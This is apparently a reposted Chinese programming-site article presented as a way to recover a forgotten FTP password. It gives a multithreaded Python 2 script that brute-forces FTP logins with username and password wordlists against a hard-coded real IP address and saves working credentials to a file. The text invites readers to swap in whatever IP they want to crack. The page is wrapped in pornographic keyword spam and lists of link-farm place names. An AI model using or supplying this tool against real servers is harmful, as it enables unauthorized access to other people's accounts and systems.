国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

忘記ftp密碼使用python ftplib庫暴力破解密碼的方法示例

2020-02-23 05:07:16
字體:
來源:轉載
供稿:網友

python具體強大的庫文件,很多功能都有相應的庫文件,所以很有必要進行學習一下,其中有一個ftp相應的庫文件ftplib,我們只需要其中的登錄功能,然后利用多線程調用相應字典里面的字段進行登錄,還能根據自己的需要,根據自身的情況編寫需要的程序,讓程序代替我們去做一些枯燥的重復工作。

下面直接上代碼,下面是主文件

代碼如下:
import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘/n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘/n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相應的ftp.py文件里面的代碼如下

代碼如下:
import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”/n”)
except ftplib.error_perm:
print “passwd is world”


需要兩個文件,分別是user.txt和passwd.txt,這兩個分別是用戶名和賬戶的字典。

代碼其中的ftp破解IP可以自己修改成自己要破解的IP,最后正確的帳號和密碼會輸入到aa.txt文件中。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 特克斯县| 修水县| 无极县| 平定县| 肥西县| 扎囊县| 汶川县| 玉山县| 莱西市| 涿鹿县| 临江市| 永胜县| 梧州市| 龙陵县| 陕西省| 定结县| 宁津县| 枣庄市| 岫岩| 靖西县| 蓝山县| 岳西县| 霍州市| 横山县| 常山县| 北辰区| 大埔县| 莒南县| 佛坪县| 吴堡县| 眉山市| 庆安县| 崇明县| 饶河县| 夏津县| 太白县| 宁波市| 玉林市| 高台县| 金乡县| 铁岭市|